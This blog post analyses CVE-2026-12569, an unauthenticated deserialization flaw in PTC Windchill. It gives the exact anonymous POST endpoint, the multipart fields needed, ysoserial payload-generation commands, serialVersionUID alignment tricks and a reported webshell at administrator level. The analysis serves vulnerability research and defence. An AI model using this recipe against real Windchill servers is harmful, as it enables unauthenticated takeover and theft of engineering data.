Post

CVE-2026-12569 Deep Dive Unauthenticated Deserialization RCE in PTC Windchill

CVE-2026-12569 Deep Dive Unauthenticated Deserialization RCE in PTC Windchill

Background

First, a word on the product. PTC Windchill is a product lifecycle management (PLM) system used in manufacturing and heavy industry, managing the full data chain from design through engineering to production — CAD drawings, bills of materials (BOM), change records, and parts documentation all live in it. Its customers are mostly aerospace, automotive, heavy-machinery, and defense contractors, where design drawings and engineering data are core intellectual property; once such a system is breached, what leaks is the company’s R&D lifeblood. Windchill is large: Apache in front, Tomcat behind (PTC calls it the MethodServer), Oracle for business data, an LDAP directory for users, all running on JDK 1.8 (per this test environment). The broken piece this time is its WVS (Windchill Visualization Services) publishing module, which converts CAD models into lightweight viewable formats for the browser.

CVE-2026-12569 affects the WVS visualization publishing module of PTC Windchill PDMLink / FlexPLM. NVD assigns a CVSS v3.1 score of 9.8; the vulnerability is automatable, grants full control of the target on success, requires no authentication and no user interaction, and is triggered by network reachability alone. It is listed as exploited in the wild and was added to the CISA KEV catalog on 2026-06-25 — the first PTC product vulnerability to enter KEV. Affected versions cover 11.0 M030, 11.1 M020, 11.2.1, 12.0.2, 12.1.2, 13.0.2, and 13.1.1.

This is the second deserialization compromise of PTC Windchill within 90 days. The predecessor CVE-2026-4681 (CVSS 10.0) was disclosed in March 2026; after its patch closed one path, attackers migrated to the Publish entry point to continue exploitation.

The environment used for this study (all authorized):

Item Content
Analysis target Windchill 11.0 M030
Runtime JDK 1.8.0_60
Running instance MethodServer
Tools CFR & IDEA & VS Code & Claude

Summary

  • Vulnerability Type: The anonymous reflective RPC gateway WindchillGW hands the attacker’s POST body to com.ptc.wvs.server.publish.Publish.doPublishRep, which treats the multipart form’s config_spec field as a base64-encoded Java serialized object and feeds it to wt.util.Encoder.decode()ObjectInputStream.readObject(), with no class whitelist / no ObjectInputFilter (CWE-502 + CWE-20)
  • Exploitation: No authentication required; a single HTTP POST request triggers it; the target process executes commands with MethodServer privileges
  • Impact: Unauthenticated remote code execution; testing confirmed webshell deployment with pdm11\administrator privileges
  • Prerequisites: Network reachability only — no credentials, no user interaction
  • Gadget Chain: commons-collections 3.2.2 has built-in functors protection that disables the entire CC family; commons-beanutils 1.8.3’s BeanComparator has no protection but its SUID does not match ysoserial’s default (1.9.x); the final successful chain regenerates CommonsBeanutils1 with the 1.8.3 jar

Attack Entry

The vulnerability spans several layers from entry to sink; we peel them back following the request path. The first layer is the entry URL, and the source of the “unauthenticated” nature:

1
2
POST /Windchill/servlet/WindchillGW/com.ptc.wvs.server.publish.Publish/doPublishRep
Content-Type: multipart/form-data; boundary=<any boundary>

Windchill deploys two symmetric gateway Servlets with sharply different authentication policies:

  • WindchillGWwt.httpgw.HTTPGatewayServlet (anonymous)
  • WindchillAuthGWwt.httpgw.HTTPAuthGatewayServlet (requires Basic auth)

The Apache config 30-app-Windchill-Auth.conf:86 explicitly exempts WindchillGW from authentication:

1
2
3
<LocationMatch ^/+Windchill/+servlet/+WindchillGW(;.*)?>
    Require all granted
</LocationMatch>

app-Windchill-AuthRes.xml also marks it anonymous:

1
<resource type="anonymous">servlet/WindchillGW</resource>

Measured comparison on the same machine:

Path Status code Meaning
/Windchill/servlet/WindchillGW/... 200 / 302 / 500 (not 401) Anonymous passthrough
/Windchill/servlet/WindchillAuthGW/... 401 + WWW-Authenticate: Basic Protected by Basic auth

The vulnerability can only be reached via WindchillGW. The two gateways are symmetric at the transport layer; the authentication difference lies entirely in the Apache config. The business class Publish.doPublishRep enforces no authentication at the method itself, and the reflective call does not check either; its signature satisfies the reflective dispatch requirements of both gateways. Access control is placed at the transport layer rather than the application layer — a classic misplaced boundary.

Reflective RPC Dispatch

The request passes Apache’s anonymous passthrough and reaches the backend. The call chain inside the backend:

1
2
3
HTTPGatewayServlet.service()
  → MethodRequestHandler.handleRequest()
    → HTTPServer.processRequest(req, resp)

HTTPServer.processRequest (HTTPServer.java:93-162) is, in essence, a generic reflective RPC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// path_info = "/com.ptc.wvs.server.publish.Publish/doPublishRep"
StringTokenizer st = new StringTokenizer(path_info, "/");
String className  = st.nextToken();   // com.ptc.wvs.server.publish.Publish
String methodName = st.nextToken();   // doPublishRep

Class<?> clazz = Class.forName(className);

if (hTTPRequest.isPostRequest()) {
    // POST prefers the 3-argument overload
    Class[] sig = {HTTPRequest.class, HTTPResponse.class, InputStream.class};
    Object[] args = {req, resp, req.inputStream};
    Method m = clazz.getMethod(methodName, sig);
    m.invoke(null, args);
}

This reflective call checks no authentication, no RemoteAccess annotation, and no target-class whitelist. Any class with a public static methodName(HTTPRequest, HTTPResponse, InputStream) method can be invoked anonymously. For POST requests, it passes the raw InputStream (the request body) directly as the third argument to the target method — giving the attacker full control over the byte stream reaching doPublishRep.

Verification is simple — GET a non-existent class:

1
2
GET /Windchill/servlet/WindchillGW/foo.bar.NonExistent/fakeMethod
→ 500 + java.lang.ClassNotFoundException: foo.bar.NonExistent

The request reached Class.forName without authentication; the reflective dispatch path is connected.

Deserialization Sink

The reflective call ultimately lands on Publish.doPublishRep, at Publish.java:1641, which parses the multipart form with MPInputStream, reading field by field:

1
2
3
4
5
6
7
8
9
10
11
12
13
MPInputStream mp = new MPInputStream(inputStream,
        hTTPRequest.getProperty("cgi.multipart_boundary"));

if (name.equals(CONFIG_SPEC))      string10 = readString().trim();   // 1680
if (name.equals(DATA_SOURCE_TYPE)) ...
if (name.equals(OBJ_REF))          ...

// when dataSourceType == "1", enter the ConfigSpec branch
if (string5.equals("1")) {                                          // 1730
    Object object2 = Encoder.decode(string10);   // ← deserialization trigger! 1755
    if (object2 instanceof ConfigSpec) ...
    else if (object2 instanceof NavigationCriteria) ...
}

Reaching the deserialization branch requires only three multipart fields:

Field name Value Purpose
dataSourceType 1 Enter the ConfigSpec branch
objRef any non-empty string Otherwise returns early (used only after deserialization, does not affect triggering)
config_spec base64(serialized gadget) Fed to Encoder.decode

wt.util.Encoder.decode(String) is a one-liner:

1
2
3
public static Object decode(String s) {
    return new Encoder().setInput(s).readObject();
}

The internal DecodeObjectInputStream extends ObjectInputStream ultimately calls the native readObject(). This ObjectInputStream calls no setObjectInputFilter and overrides no resolveClass for a whitelist — a standard Java deserialization call site with zero filtering.

There is a pitfall here that is easy to misjudge. The wt.verification package contains CallContext.computeTrustForObjectInput and ObjectInputTrust, which at first glance look like deserialization filters. But reading the source: computeTrustForObjectInput merely saves/restores an object reference in a ThreadLocal, neither wrapping nor filtering the ObjectInputStream; ObjectInputTrust.isTrusted() only checks ObjectInput reference equality, not class filtering; and the whole mechanism is based on the RMI client host. This vulnerability goes through HTTP multipart → Encoder.decode and never touches the RMI trust chain. So this mechanism provides no protection against this vulnerability.

Runtime Verification

From the code, the sink exists and is unfiltered. But static analysis can only say “it looks like it would run”; to confirm the sink is actually reachable, the cleanest approach is to send a harmless garbage string — no gadget — and trigger its “malformed” path. If the server actually tries to deserialize the garbage, it throws a format exception, and the exception’s stack trace proves the sink was hit. Below is the MethodServer log from this probe (PID 5480, raw and unmodified):

1
2
3
4
5
2026-07-07 10:04:39,384 ERROR wt.wvs.publish.Publish - Unexpected exception
    at wt.util.Encoder$DecodeObjectInputStream.<init>(Encoder.java:245)
    at wt.util.Encoder.setInput(Encoder.java:132)
    at wt.util.Encoder.decode(Encoder.java:77)
    at com.ptc.wvs.server.publish.Publish.doPublishRep(Publish.java:3125)

The stack trace precisely hits Publish.doPublishRep → Encoder.decode → setInput → DecodeObjectInputStream.<init>. The next line is even more decisive:

1
2
3
4
5
java.io.StreamCorruptedException: invalid stream header: 4C7212FC
    at java.io.ObjectInputStream.readStreamHeader(ObjectInputStream.java:806)
    at java.io.ObjectInputStream.<init>(ObjectInputStream.java:299)
    at wt.util.Encoder$DecodeObjectInputStream.<init>(Encoder.java:245)
    at wt.util.Encoder.decode(Encoder.java:77)

4C7212FC is the first 4 bytes of the garbage string after base64 decoding; it does not equal the Java serialization magic AC ED 00 05, so ObjectInputStream.readStreamHeader rejects it. This shows the ObjectInputStream was actually created (not XML/JSON parsing) and Encoder’s base64 decoding is executing. What remains is just a valid serialized payload: replace 4C7212FC with the correct AC ED 00 05 + gadget bytes, the stream-header check passes, readObject() executes, and RCE is established. No gadget was delivered at all — a single malformed string proved the sink is reachable.

Gadget Selection

Sink reachability is confirmed, but that only means the deserialization flow will execute. To actually trigger command execution, a gadget chain that runs on the target classpath is still needed.

Failure 1: CommonsCollections6 blocked by CC 3.2.2 built-in protection

Delivered ysoserial CommonsCollections6 "calc.exe" (1281 bytes). Server log:

1
2
3
4
5
6
7
java.lang.UnsupportedOperationException: Serialization support for
org.apache.commons.collections.functors.InvokerTransformer is disabled
for security reasons. To enable it set system property
'org.apache.commons.collections.enableUnsafeSerialization' to 'true'...
    at org.apache.commons.collections.functors.InvokerTransformer.readObject(InvokerTransformer.java:164)
    at org.apache.commons.collections.map.LazyMap.readObject(LazyMap.java:150)
    at wt.util.Encoder.decode(Encoder.java:77)

The environment bundles Apache Commons-Collections 3.2.2 (in ie3rdpartylibs.jar, confirmed via pom.properties). 3.2.2 adds official protection to the readObject() of all functors classes (InvokerTransformer, InstantiateTransformer, CloneTransformer, etc.) — checking the system property org.apache.commons.collections.enableUnsafeSerialization, defaulting to false and throwing UnsupportedOperationException. This is the patch Apache added specifically to block CC chains, corresponding to the fix for CVE-2015-7501.

Note where the protection sits: during deserialization, not before it. The request did enter ObjectInputStream and did begin reconstructing the object graph, only to be blocked at InvokerTransformer’s own readObject. Looked at another way, this actually confirms the deserialization flow ran and the sink is reachable — a chain that does not depend on CC functors is what is needed. CC1/CC5/CC6/CC7 all depend on functors, so the entire family is out.

There is a common pitfall here: many automated scanners or semi-automated tools detect commons-collections on the classpath and assume the CC chains are usable. In this environment that judgment fails 100% of the time. The CC version must be confirmed — 3.2.2 / 4.1 and above carry built-in functors protection that disables the entire CC family.

Failure 2: CommonsBeanutils1 serialVersionUID mismatch

Turning to CommonsBeanutils1, delivered directly with the ysoserial default:

1
2
3
java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator;
local class incompatible: stream classdesc serialVersionUID = -2044202215314119608,
local class serialVersionUID = -3490850999041592962

ysoserial embeds the BeanComparator for commons-beanutils 1.9.x (SUID -2044202215314119608), while the environment’s Windchill bundles 1.8.3 (confirmed from wc3rdpartylibs.jar’s pom.properties), SUID -3490850999041592962. The mismatch causes the JDK SUID check to reject before deserialization.

A note on SUID checking. On serialization, each serializable class writes a 64-bit SUID into the stream — either an explicitly declared serialVersionUID or a hash auto-computed by the JVM from the class structure. On deserialization, ObjectStreamClass compares the stream SUID with the local class’s SUID and throws InvalidClassException on mismatch, rejecting before any object is reconstructed, and it cannot be bypassed. ysoserial fixes the 1.9.x BeanComparator at packaging time; Windchill 11.0 M030 uses 1.8.3, and the class structure changed subtly between the two versions (presumably the generic parameter BeanComparator<T>), so the auto-computed SUID differs. Such SUID mismatches are very common in enterprise Java applications using older dependency versions and are the top reason default ysoserial payloads fail.

The good news is that BeanComparator (1.8.3) itself has no readObject protection, unlike InvokerTransformer — only the version is off. Regenerating with 1.8.3 fixes it.

Success: Regenerating CB1 with commons-beanutils 1.8.3, command execution

Place the 1.8.3 jar at the front of the classpath to override ysoserial’s embedded 1.9.x:

1
2
3
4
5
6
curl -o commons-beanutils-1.8.3.jar \
  https://repo1.maven.org/maven2/commons-beanutils/commons-beanutils/1.8.3/commons-beanutils-1.8.3.jar

java -cp "commons-beanutils-1.8.3.jar;commons-collections-3.2.2.jar;\
commons-logging-1.2.jar;ysoserial-all.jar" \
  ysoserial.GeneratePayload CommonsBeanutils1 "calc.exe" > payload.bin

Why does putting the 1.8.3 jar at the front fix it? Because ysoserial loads BeanComparator via Class.forName when generating the payload and writes the actual SUID of that class in the current JVM into the stream. With the 1.8.3 jar at the front of the classpath, the loaded BeanComparator is the 1.8.3 one, and its SUID naturally matches the target. Using the exact same dependency version on both the generation side and the target side is the most reliable way to align the SUID. In practice, once the target’s WEB-INF/lib/*.jar files are obtained, they should be placed at the very front of the generation tool’s classpath.

SUID alignment verified:

1
2
3
BeanComparator SUID in payload = -3490850999041592962
Windchill local SUID           = -3490850999041592962
→ exact match

After delivery, calc.exe launched on the target — command execution established:

Swapping the payload command to write a JSP file likewise drops a webshell into a web-readable directory; testing confirmed command execution with pdm11\administrator privileges — once the command-execution channel is established, further exploitation is just changing the payload content, not elaborated here.

SUID cross-version mapping

The 1.8.3 issue is resolved, but the next question: which commons-beanutils version do other Windchill versions (11.1/11.2/12.x/13.x) bundle, and do their SUIDs match 1.8.3? If not, a payload baked into a PoC would fail against other versions.

Testing multiple commons-beanutils versions, computing each BeanComparator SUID with the JDK-bundled serialver:

1
serialver -classpath commons-beanutils-X.Y.Z.jar org.apache.commons.beanutils.BeanComparator

The result is very regular:

commons-beanutils version BeanComparator SUID Compatible with Windchill 11.0 (1.8.3)?
1.8.0 -3490850999041592962 same
1.8.2 -3490850999041592962 same
1.8.3 -3490850999041592962 same (test environment)
1.9.2 -2044202215314119608 different
1.9.3 -2044202215314119608 different
1.9.4 -2044202215314119608 different

SUID is stable within a major version series and only changes across majors. The entire 1.8.x series shares one, and 1.9.x shares another. This is related to BeanComparator not explicitly declaring a serialVersionUID (verifiable with javap -p); the SUID is auto-computed by the JVM from the class structure, and the structure changed between 1.8 and 1.9, while within a series the structure is unchanged and the SUID stays stable.

Final Chain and Wire Format

Two failures and one success — the chain that finally worked (CommonsBeanutils1, beanutils 1.8.3):

1
2
3
4
5
6
7
8
ObjectInputStream.readObject()
  └─ PriorityQueue.readObject()                 // heapify → triggers comparison
       └─ BeanComparator.compare()              // commons-beanutils 1.8.3 (SUID aligned, no readObject protection)
            └─ PropertyUtils.getProperty()      // reflective property "outputProperties"
                 └─ TemplatesImpl.getOutputProperties()   // JDK 1.8.0_60 built-in (trigger)
                      └─ TemplatesImpl.newTransformer()
                           └─ defineClass(malicious bytecode)     // load and instantiate
                                └─ Runtime.exec("calc.exe")  // command execution

The key to bypassing CC 3.2.2 protection is that this chain never touches commons-collections functors: BeanComparator (1.8.3) has no readObject protection and is passable once the SUID is aligned; TemplatesImpl is a JDK 1.8.0_60 built-in class with no version issue. The BeanComparator + TemplatesImpl combination applies to any environment where “CC is patched but beanutils is not”.

The chain is ready; the next question is how to fit its serialized bytes into an HTTP request so the server reconstructs them correctly. That depends on wt.util.Encoder’s wire format. The deserialization data is not raw Java serialization bytes but is custom-wrapped by Encoder: base64-encoded (the full serialization byte stream, including the magic AC ED 00 05), placed in the multipart form’s config_spec field (a plain text field, not a file upload). Encoder.setInput(String) decodes by first calling resetStream() to rewrite the magic, skipping the first 4 input bytes, then base64-decoding the rest. Constructing the payload is just base64-encoding the full ysoserial output (including the magic bytes). config_spec must follow Encoder’s format, otherwise readObject throws StreamCorruptedException due to stream-header misalignment (the source of the 4C7212FC log line above) instead of triggering the gadget.

Methodology Review

Stage Finding Significance
Apache config audit WindchillGW explicitly Require all granted Locate the unauthenticated entry
Reflective dispatch analysis path_info split directly into class/method for reflective call Explains arbitrary-method reachability
Harmless garbage-string probe StreamCorruptedException: 4C7212FC Non-destructive proof of sink reachability
CC6 delivery UnsupportedOperationException from CC’s own protection Determines the entire CC family is unusable; switch chains
CB1 default delivery InvalidClassException SUID mismatch Locates the cause of default ysoserial payload failure
Batch serialver measurement SUID distributed by version family Baked payloads only need family-level coverage

Timeline

Date Event
2026-03 Predecessor CVE-2026-4681 (CVSS 10.0) disclosed
2026-06-25 CVE-2026-12569 added to the CISA KEV catalog
2026-07-07 Runtime non-destructive verification + weaponization test (calc PID 4952)
2026-07-08 This analysis compiled

Conclusion

CVE-2026-12569 is a three-stage vulnerability: at the entry, WindchillGW is Require all granted at the Apache layer, anonymously reachable; in the middle, HTTPServer.processRequest splits path_info directly into class/method for reflective invocation, with neither authentication nor a whitelist; at the sink, Publish.doPublishRepEncoder.decodeObjectInputStream.readObject() applies zero filtering. Stack the three stages and an ordinary business interface becomes a stable unauthenticated command-execution channel.

The gadget-debugging portion shows that the success of deserialization exploitation often lies not in whether a sink exists but in whether environment version details are aligned: commons-collections on the classpath does not mean a CC chain is usable (3.2.2 built-in functors protection, the whole family out); commons-beanutils usable does not mean the default ysoserial CB1 is usable (SUID version-family differences, 1.8.x and 1.9.x each occupy one).

As for what protection Windchill itself applied — the CC6 log makes it clear: Encoder.decodeObjectInputStream has no ObjectInputFilter and no class whitelist throughout. The CC chain was blocked by CC’s own protection, not Windchill’s. Windchill applies no protection to this deserialization point, which is the actual problem behind CVE-2026-12569. Coupled with two vulnerabilities of the same class within 90 days (CVE-2026-4681 → CVE-2026-12569), the systemic gap in governing the deserialization attack surface is plain to see.

References

  • NVD CVE-2026-12569
  • CISA KEV Catalog (added 2026-06-25)
  • PTC security advisory and IOCs (source of deserialization / mitigation rules)
  • Related vulnerability: CVE-2026-4681 (same product, 2026-03, CVSS 10.0)
  • Similar references: CVE-2023-46604 (Apache ActiveMQ OpenWire deserialization), CVE-2023-43208 (Mirth Connect)
  • Tools: ysoserial (gadget generation), CFR 0.152 (decompilation)
  • Apache Commons-Collections security reports

For authorized security testing and defensive research only.

This post is licensed under CC BY 4.0 by the author.